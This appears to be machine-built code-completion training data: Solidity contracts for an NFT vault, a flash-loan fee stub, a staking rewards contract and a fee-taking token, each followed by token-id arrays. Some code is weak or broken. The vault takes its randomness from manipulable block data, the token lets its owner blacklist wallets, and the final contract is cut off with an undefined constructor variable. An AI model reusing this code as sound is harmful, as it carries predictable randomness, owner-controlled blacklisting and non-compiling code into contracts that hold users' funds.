stuckUnusedBal); _transfer(dao, gaus, daoBal); } function mint( uint256[] calldata tokenIds, uint256[] calldata amounts /* ignored for ERC721 vaults */ ) external override virtual returns (uint256) { return mintTo(tokenIds, amounts, msg.sender); } function mintTo( uint256[] memory tokenIds, uint256[] memory amounts, /* ignored for ERC721 vaults */ address to ) public override virtual nonReentrant returns (uint256) { onlyOwnerIfPaused(1); require(enableMint, "Minting not enabled"); // Take the NFTs. uint256 count = receiveNFTs(tokenIds, amounts); // Mint to the user. _mint(to, base * count); uint256 totalFee = mintFee * count; _chargeAndDistributeFees(to, totalFee); emit Minted(tokenIds, amounts, to); return count; } function redeem(uint256 amount, uint256[] calldata specificIds) external override virtual returns (uint256[] memory) { return redeemTo(amount, specificIds, msg.sender); } function redeemTo(uint256 amount, uint256[] memory specificIds, address to) public override virtual nonReentrant returns (uint256[] memory) { onlyOwnerIfPaused(2); require(enableRandomRedeem || enableTargetRedeem, "Redeeming not enabled"); // We burn all from sender and mint to fee receiver to reduce costs. _burn(msg.sender, base * amount); // Pay the tokens + toll. uint256 totalFee = (targetRedeemFee * specificIds.length) + ( randomRedeemFee * (amount - specificIds.length) ); _chargeAndDistributeFees(msg.sender, totalFee); // Withdraw from vault. uint256[] memory redeemedIds = withdrawNFTsTo(amount, specificIds, to); emit Redeemed(redeemedIds, specificIds, to); return redeemedIds; } function swap( uint256[] calldata tokenIds, uint256[] calldata amounts, /* ignored for ERC721 vaults */ uint256[] calldata specificIds ) external override virtual returns (uint256[] memory) { return swapTo(tokenIds, amounts, specificIds, msg.sender); } function swapTo( uint256[] memory tokenIds, uint256[] memory amounts, /* ignored for ERC721 vaults */ uint256[] memory specificIds, address to ) public override virtual nonReentrant returns (uint256[] memory) { onlyOwnerIfPaused(3); require(enableMint && (enableRandomRedeem || enableTargetRedeem), "NFTXVault: Mint & Redeem enabled"); // Take the NFTs first, so the user has a chance of rerolling the same. // This is intentional so this action mirrors how minting/redeeming manually would work. uint256 count = receiveNFTs(tokenIds, amounts); // Pay the toll. Mint and Redeem fees here since its a swap. // We burn all from sender and mint to fee receiver to reduce costs. uint256 redeemFee = (targetRedeemFee * specificIds.length) + ( randomRedeemFee * (count - specificIds.length) ); uint256 totalFee = (mintFee * count) + redeemFee; _chargeAndDistributeFees(msg.sender, totalFee); // Withdraw from vault. uint256[] memory ids = withdrawNFTsTo(count, specificIds, to); emit Swapped(tokenIds, amounts, specificIds, ids, to); return ids; } function flashLoan( IERC3156FlashBorrowerUpgradeable receiver, address token, uint256 amount, bytes memory data ) public override virtual returns (bool) { onlyOwnerIfPaused(4); return super.flashLoan(receiver, token, amount, data); } function allValidNFTs(uint256[] memory tokenIds) public view override virtual returns (bool) { if (allowAllItems) { return true; } INFTXEligibility _eligibilityStorage = eligibilityStorage; if (address(_eligibilityStorage) == address(0)) { return false; } return _eligibilityStorage.checkAllEligible(tokenIds); } function nftIdAt(uint256 holdingsIndex) external view override virtual returns (uint256) { return holdings.at(holdingsIndex); } // Added in v1.0.3. function allHoldings() external view override virtual returns (uint256[] memory) { uint256 len = holdings.length(); uint256[] memory idArray = new uint256[](len); for (uint256 i = 0; i < len; i++) { idArray[i] = holdings.at(i); } return idArray; } // Added in v1.0.3. function totalHoldings() external view override virtual returns (uint256) { return holdings.length(); } // Added in v1.0.3. function version() external pure returns (string memory) { return "v1.0.5"; } // We set a hook to the eligibility module (if it exists) after redeems in case anything needs to be modified. function afterRedeemHook(uint256[] memory tokenIds) internal virtual { INFTXEligibility _eligibilityStorage = eligibilityStorage; if (address(_eligibilityStorage) == address(0)) { return; } _eligibilityStorage.afterRedeemHook(tokenIds); } function receiveNFTs(uint256[] memory tokenIds, uint256[] memory amounts) internal virtual returns (uint256) { require(allValidNFTs(tokenIds), "NFTXVault: not eligible"); if (is1155) { // This is technically a check, so placing it before the effect. IERC1155Upgradeable(assetAddress).safeBatchTransferFrom( msg.sender, address(this), tokenIds, amounts, "" ); uint256 count; for (uint256 i = 0; i < tokenIds.length; i++) { uint256 tokenId = tokenIds[i]; uint256 amount = amounts[i]; require(amount > 0, "NFTXVault: transferring < 1"); if (quantity1155[tokenId] == 0) { holdings.add(tokenId); } quantity1155[tokenId] += amount; count += amount; } return count; } else { address _assetAddress = assetAddress; for (uint256 i = 0; i < tokenIds.length; i++) { uint256 tokenId = tokenIds[i]; transferFromERC721(_assetAddress, tokenId); holdings.add(tokenId); } return tokenIds.length; } } function withdrawNFTsTo( uint256 amount, uint256[] memory specificIds, address to ) internal virtual returns (uint256[] memory) { require( amount == specificIds.length || enableRandomRedeem, "NFTXVault: Random redeem not enabled" ); require( specificIds.length == 0 || enableTargetRedeem, "NFTXVault: Target redeem not enabled" ); bool _is1155 = is1155; address _assetAddress = assetAddress; uint256[] memory redeemedIds = new uint256[](amount); for (uint256 i = 0; i < amount; i++) { // This will always be fine considering the validations made above. uint256 tokenId = i < specificIds.length ? specificIds[i] : getRandomTokenIdFromVault(); redeemedIds[i] = tokenId; if (_is1155) { quantity1155[tokenId] -= 1; if (quantity1155[tokenId] == 0) { holdings.remove(tokenId); } IERC1155Upgradeable(_assetAddress).safeTransferFrom( address(this), to, tokenId, 1, "" ); } else { holdings.remove(tokenId); transferERC721(_assetAddress, to, tokenId); } } afterRedeemHook(redeemedIds); return redeemedIds; } function _chargeAndDistributeFees(address user, uint256 amount) internal virtual { // Do not charge fees if the zap contract is calling // Added in v1.0.3. Changed to mapping in v1.0.5. if (vaultFactory.excludedFromFees(msg.sender)) { return; } // Mint fees directly to the distributor and distribute. if (amount > 0) { address feeDistributor = vaultFactory.feeDistributor(); // Changed to a _transfer() in v1.0.3. _transfer(user, feeDistributor, amount); INFTXFeeDistributor(feeDistributor).distribute(vaultId); } } function transferERC721(address assetAddr, address to, uint256 tokenId) internal virtual { address kitties = 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d; address punks = 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB; bytes memory data; if (assetAddr == kitties) { // Changed in v1.0.4. data = abi.encodeWithSignature("transfer(address,uint256)", to, tokenId); } else if (assetAddr == punks) { // CryptoPunks. data = abi.encodeWithSignature("transferPunk(address,uint256)", to, tokenId); } else { // Default. data = abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", address(this), to, tokenId); } (bool success,) = address(assetAddr).call(data); require(success); } function transferFromERC721(address assetAddr, uint256 tokenId) internal virtual { address kitties = 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d; address punks = 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB; bytes memory data; if (assetAddr == kitties) { // Cryptokitties. data = abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), tokenId); } else if (assetAddr == punks) { // CryptoPunks. // Fix here for frontrun attack. Added in v1.0.2. bytes memory punkIndexToAddress = abi.encodeWithSignature("punkIndexToAddress(uint256)", tokenId); (bool checkSuccess, bytes memory result) = address(assetAddr).staticcall(punkIndexToAddress); (address owner) = abi.decode(result, (address)); require(checkSuccess && owner == msg.sender, "Not the owner"); data = abi.encodeWithSignature("buyPunk(uint256)", tokenId); } else { // Default. data = abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", msg.sender, address(this), tokenId); } (bool success, bytes memory resultData) = address(assetAddr).call(data); require(success, string(resultData)); } function getRandomTokenIdFromVault() internal virtual returns (uint256) { uint256 randomIndex = uint256( keccak256( abi.encodePacked( blockhash(block.number - 1), randNonce, block.coinbase, block.difficulty, block.timestamp ) ) ) % holdings.length(); randNonce += 1; return holdings.at(randomIndex); } function onlyPrivileged() internal view { if (manager == address(0)) { require(msg.sender == owner(), "Not owner"); } else { require(msg.sender == manager, "Not manager"); } } function onlyOwnerIfPaused(uint256 lockId) internal view { require(!vaultFactory.isLocked(lockId) || msg.sender == owner(), "Paused"); } }
* @dev Returns the fee applied when doing flash loans. By default this implementation has 0 fees. This function can be overloaded to make the flash loan mechanism deflationary. @param token The token to be flash loaned. @param amount The amount of tokens to be loaned. @return The fees applied to the corresponding flash loan./ silence warning about unused variable without the addition of bytecode.
function flashFee(address token, uint256 amount) public view virtual override returns (uint256) { require(token == address(this), "ERC20FlashMint: wrong token"); amount; return 0; }
305,543
[ 1, 1356, 326, 14036, 6754, 1347, 9957, 9563, 437, 634, 18, 2525, 805, 333, 4471, 711, 374, 1656, 281, 18, 1220, 445, 848, 506, 1879, 4230, 358, 1221, 326, 9563, 28183, 12860, 1652, 80, 367, 814, 18, 225, 1147, 1021, 1147, 358, 506, 9563, 28183, 329, 18, 225, 3844, 1021, 3844, 434, 2430, 358, 506, 28183, 329, 18, 327, 1021, 1656, 281, 6754, 358, 326, 4656, 9563, 28183, 18, 19, 31468, 3436, 2973, 10197, 2190, 2887, 326, 2719, 434, 22801, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 9563, 14667, 12, 2867, 1147, 16, 2254, 5034, 3844, 13, 1071, 1476, 5024, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2583, 12, 2316, 422, 1758, 12, 2211, 3631, 315, 654, 39, 3462, 11353, 49, 474, 30, 7194, 1147, 8863, 203, 3639, 3844, 31, 203, 3639, 327, 374, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.12; import '@nextechlabs/nexdex-lib/contracts/math/SafeMath.sol'; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import '@nextechlabs/nexdex-lib/contracts/access/Ownable.sol'; import "./Xp.sol"; import "./BoostBar.sol"; // import "@nomiclabs/buidler/console.sol"; interface IMigratorGamer { // Perform LP token migration from legacy PanxpSwap to XpSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to PanxpSwap LP tokens. // XpSwap must mint EXACTLY the same amount of XpSwap LP tokens or // else something bad will happen. Traditional PanxpSwap does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // MasterGamer is the master of Xp. He can make Xp and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once XP is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract MasterGamer is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of XPs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accXpPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accXpPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. XPs to distribute per block. uint256 lastRewardBlock; // Last block number that XPs distribution occurs. uint256 accXpPerShare; // Accumulated XPs per share, times 1e12. See below. } // The XP TOKEN! Xp public xp; // The SYRUP TOKEN! BoostBar public boost; // Dev address. address public devaddr; // XP tokens created per block. uint256 public xpPerBlock; // Bonus muliplier for early xp makers. uint256 public BONUS_MULTIPLIER = 1; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorGamer public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when XP mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( Xp _xp, BoostBar _boost, address _devaddr, uint256 _xpPerBlock, uint256 _startBlock ) public { xp = _xp; boost = _boost; devaddr = _devaddr; xpPerBlock = _xpPerBlock; startBlock = _startBlock; // staking pool poolInfo.push(PoolInfo({ lpToken: _xp, allocPoint: 1000, lastRewardBlock: startBlock, accXpPerShare: 0 })); totalAllocPoint = 1000; } function updateMultiplier(uint256 multiplierNumber) public onlyOwner { BONUS_MULTIPLIER = multiplierNumber; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accXpPerShare: 0 })); updateStakingPool(); } // Update the given pool's XP allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 prevAllocPoint = poolInfo[_pid].allocPoint; poolInfo[_pid].allocPoint = _allocPoint; if (prevAllocPoint != _allocPoint) { totalAllocPoint = totalAllocPoint.sub(prevAllocPoint).add(_allocPoint); updateStakingPool(); } } function updateStakingPool() internal { uint256 length = poolInfo.length; uint256 points = 0; for (uint256 pid = 1; pid < length; ++pid) { points = points.add(poolInfo[pid].allocPoint); } if (points != 0) { points = points.div(3); totalAllocPoint = totalAllocPoint.sub(poolInfo[0].allocPoint).add(points); poolInfo[0].allocPoint = points; } } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorGamer _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } // View function to see pending XPs on frontend. function pendingXp(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accXpPerShare = pool.accXpPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 xpReward = multiplier.mul(xpPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accXpPerShare = accXpPerShare.add(xpReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accXpPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 xpReward = multiplier.mul(xpPerBlock).mul(pool.allocPoint).div(totalAllocPoint); xp.mint(devaddr, xpReward.div(10)); // devs xp.mint(address(boost), xpReward); // amount for pools xp.lock(address(boost), xpReward.mul(99).div(100)); // lock 99 % pool.accXpPerShare = pool.accXpPerShare.add(xpReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterGamer for XP allocation. function deposit(uint256 _pid, uint256 _amount) public { require (_pid != 0, 'deposit XP by staking'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accXpPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeXpTransfer(msg.sender, pending); } } if (_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accXpPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterGamer. function withdraw(uint256 _pid, uint256 _amount) public { require (_pid != 0, 'withdraw XP by unstaking'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accXpPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeXpTransfer(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accXpPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Stake XP tokens to MasterGamer function enterStaking(uint256 _amount) public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; updatePool(0); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accXpPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeXpTransfer(msg.sender, pending); } } if(_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accXpPerShare).div(1e12); boost.mint(msg.sender, _amount); emit Deposit(msg.sender, 0, _amount); } // Withdraw XP tokens from STAKING. function leaveStaking(uint256 _amount) public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(0); uint256 pending = user.amount.mul(pool.accXpPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeXpTransfer(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accXpPerShare).div(1e12); boost.burn(msg.sender, _amount); emit Withdraw(msg.sender, 0, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe xp transfer function, just in case if rounding error causes pool to not have enough XPs. function safeXpTransfer(address _to, uint256 _amount) internal { boost.safeXpTransfer(_to, _amount); } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 xpReward = multiplier.mul(xpPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accXpPerShare = pool.accXpPerShare.add(xpReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; }
1,029,185
[ 1, 1891, 19890, 3152, 434, 326, 864, 2845, 358, 506, 731, 17, 869, 17, 712, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 445, 1089, 2864, 12, 11890, 5034, 389, 6610, 13, 1071, 288, 203, 1850, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 67, 6610, 15533, 203, 1850, 309, 261, 2629, 18, 2696, 1648, 2845, 18, 2722, 17631, 1060, 1768, 13, 288, 203, 5411, 327, 31, 203, 1850, 289, 203, 1850, 2254, 5034, 12423, 3088, 1283, 273, 2845, 18, 9953, 1345, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 1850, 309, 261, 9953, 3088, 1283, 422, 374, 13, 288, 203, 5411, 2845, 18, 2722, 17631, 1060, 1768, 273, 1203, 18, 2696, 31, 203, 5411, 327, 31, 203, 1850, 289, 203, 1850, 2254, 5034, 15027, 273, 31863, 5742, 12, 6011, 18, 2722, 17631, 1060, 1768, 16, 1203, 18, 2696, 1769, 203, 1850, 2254, 5034, 13681, 17631, 1060, 273, 15027, 18, 16411, 12, 23829, 2173, 1768, 2934, 16411, 12, 6011, 18, 9853, 2148, 2934, 2892, 12, 4963, 8763, 2148, 1769, 203, 1850, 2845, 18, 8981, 60, 84, 2173, 9535, 273, 2845, 18, 8981, 60, 84, 2173, 9535, 18, 1289, 12, 23829, 17631, 1060, 18, 16411, 12, 21, 73, 2138, 2934, 2892, 12, 9953, 3088, 1283, 10019, 203, 1850, 2845, 18, 2722, 17631, 1060, 1768, 273, 1203, 18, 2696, 31, 203, 3639, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xA731503f1ECacc6072FACD9F0c18776B06aB8955/sources/NeoDoro.sol
uint256 private constant _tTotal = 88888888 * 10**_decimals;Original Fee
contract NeoDoro is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Neodoro Inu"; string private constant _symbol = "NEO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isWhiteFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 constant private _redisFeeOnBuyFixed = 0; uint256 constant private _taxFeeOnBuyFixed = 6; uint256 constant private _redisFeeOnSellFixed = 0; uint256 constant private _taxFeeOnSellFixed = 6; uint256 public _redisFeeOnBuy = _redisFeeOnBuyFixed; uint256 public _taxFeeOnBuy = _taxFeeOnBuyFixed; uint256 public _redisFeeOnSell = _redisFeeOnSellFixed; uint256 public _taxFeeOnSell = _taxFeeOnSellFixed; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress; address payable private _marketingAddress; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**_decimals; uint256 public _maxWalletSize = 20000000 * 10**_decimals; uint256 public _swapTokensAtAmount = 10000 * 10**_decimals; uint256 launchedAt; event MaxTxAmountUpdated(uint256 _maxTxAmount); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _developmentAddress = payable(owner()); _marketingAddress = payable(owner()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < 